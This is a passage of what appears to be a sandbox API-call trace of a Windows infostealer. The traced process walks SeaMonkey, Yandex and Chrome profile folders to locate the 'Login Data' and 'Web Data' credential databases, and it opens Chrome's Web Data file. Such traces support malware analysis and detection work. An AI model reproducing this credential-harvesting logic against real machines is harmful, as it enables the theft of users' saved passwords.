_Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\" [0070.596] wcscat (in: _Dest=0x28a47c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\*.*" [0070.596] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\*.*", lpFindFileData=0x28a704 | out: lpFindFileData=0x28a704) returned 0xffffffff [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned 0x3a [0070.597] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned 0x3a [0070.597] wcslen (_String="*.*") returned 0x3 [0070.597] wcscpy (in: _Dest=0x28a47c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles" [0070.597] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned 0x3a [0070.597] wcscat (in: _Dest=0x28a47c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\" [0070.597] wcscat (in: _Dest=0x28a47c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\*.*" [0070.597] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\*.*", lpFindFileData=0x28a704 | out: lpFindFileData=0x28a704) returned 0xffffffff [0070.597] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned 0x33 [0070.597] wcslen (_String="profiles.ini") returned 0xc [0070.597] wcscpy (in: _Dest=0x28a42c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey" [0070.597] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned 0x33 [0070.597] wcscat (in: _Dest=0x28a42c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\" [0070.597] wcscat (in: _Dest=0x28a42c, _Source="profiles.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini" [0070.597] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\seamonkey\\profiles.ini")) returned 0xffffffff [0070.597] wcslen (_String="C:\\Program Files (x86)\\Sea Monkey") returned 0x21 [0070.597] wcslen (_String="nss3.dll") returned 0x8 [0070.597] wcscpy (in: _Dest=0x28b8f8, _Source="C:\\Program Files (x86)\\Sea Monkey" | out: _Dest="C:\\Program Files (x86)\\Sea Monkey") returned="C:\\Program Files (x86)\\Sea Monkey" [0070.597] wcslen (_String="C:\\Program Files (x86)\\Sea Monkey") returned 0x21 [0070.597] wcscat (in: _Dest=0x28b8f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Sea Monkey\\") returned="C:\\Program Files (x86)\\Sea Monkey\\" [0070.597] wcscat (in: _Dest=0x28b8f8, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Sea Monkey\\nss3.dll") returned="C:\\Program Files (x86)\\Sea Monkey\\nss3.dll" [0070.597] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Sea Monkey\\nss3.dll" (normalized: "c:\\program files (x86)\\sea monkey\\nss3.dll")) returned 0xffffffff [0070.597] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28c938, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1 [0070.597] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.597] wcslen (_String="Yandex\\YandexBrowser\\User Data\\Default\\Login Data") returned 0x31 [0070.597] wcscpy (in: _Dest=0x28cd58, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0070.597] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.597] wcscat (in: _Dest=0x28cd58, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\" [0070.597] wcscat (in: _Dest=0x28cd58, _Source="Yandex\\YandexBrowser\\User Data\\Default\\Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data" [0070.597] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\yandex\\yandexbrowser\\user data\\default\\login data")) returned 0xffffffff [0070.598] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28cd58, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1 [0070.598] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.598] wcslen (_String="Google\\Chrome\\User Data") returned 0x17 [0070.598] wcscpy (in: _Dest=0x28cb48, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0070.598] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.598] wcscat (in: _Dest=0x28cb48, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\" [0070.598] wcscat (in: _Dest=0x28cb48, _Source="Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.598] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.598] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.598] wcslen (_String="*.*") returned 0x3 [0070.598] wcscpy (in: _Dest=0x28b11c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.598] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.598] wcscat (in: _Dest=0x28b11c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.598] wcscat (in: _Dest=0x28b11c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\*.*" [0070.598] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 0x8a3a18 [0070.600] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.600] wcslen (_String=".") returned 0x1 [0070.600] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.600] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.600] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.600] wcscat (in: _Dest=0x28b5f4, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\." [0070.600] wcscmp (_String1=".", _String2="..") returned -1 [0070.600] wcscmp (_String1=".", _String2=".") returned 0 [0070.600] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.600] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.600] wcslen (_String="..") returned 0x2 [0070.600] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.600] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.600] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.600] wcscat (in: _Dest=0x28b5f4, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\.." [0070.600] wcscmp (_String1="..", _String2="..") returned 0 [0070.600] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.601] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.601] wcslen (_String="CertificateTransparency") returned 0x17 [0070.601] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.601] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.601] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.601] wcscat (in: _Dest=0x28b5f4, _Source="CertificateTransparency" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0070.601] wcscmp (_String1="CertificateTransparency", _String2="..") returned 1 [0070.601] wcscmp (_String1="CertificateTransparency", _String2=".") returned 1 [0070.601] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x4f [0070.601] wcslen (_String="Web Data") returned 0x8 [0070.601] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0070.601] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x4f [0070.601] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\" [0070.601] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data" [0070.601] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\web data")) returned 0xffffffff [0070.601] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x4f [0070.601] wcslen (_String="Login Data") returned 0xa [0070.601] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0070.601] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x4f [0070.601] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\" [0070.601] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data" [0070.601] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\login data")) returned 0xffffffff [0070.601] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.601] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.602] wcslen (_String="Crashpad") returned 0x8 [0070.602] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.602] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.602] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.602] wcscat (in: _Dest=0x28b5f4, _Source="Crashpad" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0070.602] wcscmp (_String1="Crashpad", _String2="..") returned 1 [0070.602] wcscmp (_String1="Crashpad", _String2=".") returned 1 [0070.602] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x40 [0070.602] wcslen (_String="Web Data") returned 0x8 [0070.602] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0070.602] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x40 [0070.602] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0070.602] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data" [0070.602] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpad\\web data")) returned 0xffffffff [0070.602] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x40 [0070.602] wcslen (_String="Login Data") returned 0xa [0070.602] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0070.602] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x40 [0070.602] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0070.602] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data" [0070.602] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpad\\login data")) returned 0xffffffff [0070.602] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.602] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.602] wcslen (_String="CrashpadMetrics-active.pma") returned 0x1a [0070.602] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.602] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.602] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.603] wcscat (in: _Dest=0x28b5f4, _Source="CrashpadMetrics-active.pma" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CrashpadMetrics-active.pma") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CrashpadMetrics-active.pma" [0070.603] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.603] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.603] wcslen (_String="Default") returned 0x7 [0070.603] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.603] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.603] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.603] wcscat (in: _Dest=0x28b5f4, _Source="Default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0070.603] wcscmp (_String1="Default", _String2="..") returned 1 [0070.603] wcscmp (_String1="Default", _String2=".") returned 1 [0070.603] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x3f [0070.603] wcslen (_String="Web Data") returned 0x8 [0070.603] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0070.603] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x3f [0070.603] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0070.603] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" [0070.603] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\web data")) returned 0x2020 [0070.634] LockFile (hFile=0x134, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.634] LockFileEx (in: hFile=0x134, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x288b3c | out: lpOverlapped=0x288b3c) returned 1 [0070.634] UnlockFile (hFile=0x134, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.634] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3dcfb9, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.634] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3dcfb9, cbMultiByte=-1, lpWideCharStr=0x3dd3c0, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 81 [0070.636] UnlockFile (hFile=0x134, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.636] LockFile (hFile=0x134, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.636] LockFileEx (in: hFile=0x134, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x288e1c | out: lpOverlapped=0x288e1c) returned 1 [0070.636] UnlockFile (hFile=0x134, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3dcfb9, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3dcfb9, cbMultiByte=-1, lpWideCharStr=0x3dc8e0, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 81 [0070.637] GetFileSize (in: hFile=0x134, lpFileSizeHigh=0x288e40 | out: lpFileSizeHigh=0x288e40*=0x0) returned 0x10000 [0070.637] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3dd00a, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0070.637] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3dd00a, cbMultiByte=-1, lpWideCharStr=0x3dc8e0, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-wal") returned 77 [0070.637] UnlockFile (hFile=0x134, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.637] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x3f [0070.637] wcslen (_String="Login Data") returned 0xa [0070.637] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0070.637] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x3f [0070.637] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0070.637] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" [0070.637] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: 